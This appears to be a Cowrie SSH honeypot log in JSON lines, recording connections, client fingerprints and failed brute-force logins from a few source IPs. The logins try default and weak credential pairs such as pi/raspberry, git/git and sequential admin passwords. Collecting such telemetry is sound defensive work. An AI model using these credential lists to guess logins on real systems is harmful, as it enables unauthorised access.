{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:12.116457Z","src_ip":"101.44.96.62","session":"c235a8069e57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:12.333066Z","src_ip":"101.44.96.62","session":"c235a8069e57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:12.979077Z","src_ip":"101.44.96.62","session":"c235a8069e57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:15.284502Z","src_ip":"101.44.96.62","session":"c235a8069e57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":35938,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6f322f7c8bb","protocol":"ssh","message":"New connection: 101.44.96.62:35938 (159.203.135.109:22) [session: f6f322f7c8bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:25.485404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:25.489911Z","src_ip":"101.44.96.62","session":"f6f322f7c8bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:25.708500Z","src_ip":"101.44.96.62","session":"f6f322f7c8bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hive","password":"hive","message":"login attempt [hive/hive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:27.564925Z","src_ip":"101.44.96.62","session":"f6f322f7c8bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:29.301985Z","src_ip":"101.44.96.62","session":"f6f322f7c8bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":35482,"dst_ip":"159.203.135.109","dst_port":22,"session":"78fbebf7c6f3","protocol":"ssh","message":"New connection: 101.44.96.62:35482 (159.203.135.109:22) [session: 78fbebf7c6f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:38.879376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:38.884695Z","src_ip":"101.44.96.62","session":"78fbebf7c6f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":11457,"dst_ip":"10.17.0.5","dst_port":22,"session":"86a941d94bc3","protocol":"ssh","message":"New connection: 2.57.121.112:11457 (10.17.0.5:22) [session: 86a941d94bc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:39.165380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:39.170237Z","src_ip":"2.57.121.112","session":"86a941d94bc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:39.273719Z","src_ip":"2.57.121.112","session":"86a941d94bc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0207","message":"login attempt [admin/0207] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:39.753484Z","src_ip":"2.57.121.112","session":"86a941d94bc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:40.407248Z","src_ip":"101.44.96.62","session":"78fbebf7c6f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"020691","message":"login attempt [admin/020691] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:40.858186Z","src_ip":"2.57.121.112","session":"86a941d94bc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"020677","message":"login attempt [admin/020677] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:41.965986Z","src_ip":"2.57.121.112","session":"86a941d94bc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"020486","message":"login attempt [admin/020486] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:43.069754Z","src_ip":"2.57.121.112","session":"86a941d94bc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:43.414610Z","src_ip":"101.44.96.62","session":"78fbebf7c6f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":58038,"dst_ip":"10.17.0.5","dst_port":22,"session":"56efa741740c","protocol":"ssh","message":"New connection: 2.57.122.238:58038 (10.17.0.5:22) [session: 56efa741740c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:43.855682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:43.861041Z","src_ip":"2.57.122.238","session":"56efa741740c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:43.967377Z","src_ip":"2.57.122.238","session":"56efa741740c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"020283","message":"login attempt [admin/020283] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:44.174401Z","src_ip":"2.57.121.112","session":"86a941d94bc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:44.308764Z","src_ip":"2.57.122.238","session":"56efa741740c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:44.633439Z","src_ip":"101.44.96.62","session":"78fbebf7c6f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:45.278891Z","src_ip":"2.57.121.112","session":"86a941d94bc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:45.416952Z","src_ip":"2.57.122.238","session":"56efa741740c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":52568,"dst_ip":"159.203.135.109","dst_port":22,"session":"9cc740b0e772","protocol":"ssh","message":"New connection: 101.44.96.62:52568 (159.203.135.109:22) [session: 9cc740b0e772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:52.234186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:52.241343Z","src_ip":"101.44.96.62","session":"9cc740b0e772","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:52.454276Z","src_ip":"101.44.96.62","session":"9cc740b0e772","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang123","message":"login attempt [wang/wang123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:53.869472Z","src_ip":"101.44.96.62","session":"9cc740b0e772","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:55.090802Z","src_ip":"101.44.96.62","session":"9cc740b0e772","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":47444,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f4d16813779","protocol":"ssh","message":"New connection: 2.57.122.208:47444 (159.203.135.109:22) [session: 3f4d16813779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:21:05.206911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:21:05.332829Z","src_ip":"2.57.122.208","session":"3f4d16813779","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:21:05.336832Z","src_ip":"2.57.122.208","session":"3f4d16813779","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":41014,"dst_ip":"159.203.135.109","dst_port":22,"session":"8deaff1775f1","protocol":"ssh","message":"New connection: 101.44.96.62:41014 (159.203.135.109:22) [session: 8deaff1775f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:21:05.612713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:21:05.617313Z","src_ip":"101.44.96.62","session":"8deaff1775f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:21:05.831362Z","src_ip":"101.44.96.62","session":"8deaff1775f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"123456","message":"login attempt [trading/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:21:06.026158Z","src_ip":"2.57.122.208","session":"3f4d16813779","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:21:06.692252Z","src_ip":"101.44.96.62","session":"8deaff1775f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:21:07.144325Z","src_ip":"2.57.122.208","session":"3f4d16813779","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:21:07.913491Z","src_ip":"101.44.96.62","session":"8deaff1775f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":44160,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc79ad32d194","protocol":"ssh","message":"New connection: 101.44.96.62:44160 (159.203.135.109:22) [session: cc79ad32d194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:21:19.048885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:21:19.053971Z","src_ip":"101.44.96.62","session":"cc79ad32d194","protocol":"ssh"}
